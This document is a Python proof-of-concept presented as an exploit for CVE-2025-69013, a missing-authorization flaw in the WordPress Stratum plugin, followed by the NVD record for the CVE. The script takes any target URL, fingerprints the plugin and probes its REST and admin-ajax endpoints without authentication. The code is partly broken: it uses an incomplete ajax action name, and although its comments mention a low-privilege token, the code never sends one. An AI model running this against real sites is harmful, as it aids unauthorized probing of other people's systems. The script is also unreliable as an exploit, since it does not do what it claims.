CVE-2025-69013

# CVE-2025-69013 PoC - WordPress Stratum Missing Authorization # Affected Version: <= 1.6.1 import requests import sys target_url = input("Enter target URL: ").rstrip('/') # Check if Stratum plugin is installed plugin_check = requests.get(f"{target_url}/wp-content/plugins/stratum/readme.txt") if plugin_check.status_code != 200: print("[-] Stratum plugin not found or not accessible") sys.exit(1) print("[+] Stratum plugin detected") # Exploit: Access protected stratum functionality without proper authorization # This PoC demonstrates accessing admin-level stratum functions with low-privilege user endpoints = [ "/wp-json/stratum/v1/", "/wp-admin/admin-ajax.php?action=stratum_", ] for endpoint in endpoints: url = f"{target_url}{endpoint}" try: # Send request without authentication or with low-privilege token response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] Potentially vulnerable endpoint found: {url}") print(f" Response: {response.text[:200]}") elif response.status_code == 401: print(f"[-] Endpoint requires authentication: {url}") else: print(f"[*] Endpoint status: {response.status_code} - {url}") except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") print("\n[!] Manual verification recommended - check for unauthorized access to stratum features") print("[!] Recommended: Test with low-privilege WordPress account (subscriber role)")

{"cve": {"id": "CVE-2025-69013", "sourceIdentifier": "[email protected]", "published": "2025-12-30T11:15:59.527", "lastModified": "2026-04-27T20:16:24.783", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in jetmonsters Stratum stratum allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Stratum: from n/a through <= 1.6.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/stratum/vulnerability/wordpress-stratum-plugin-1-6-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}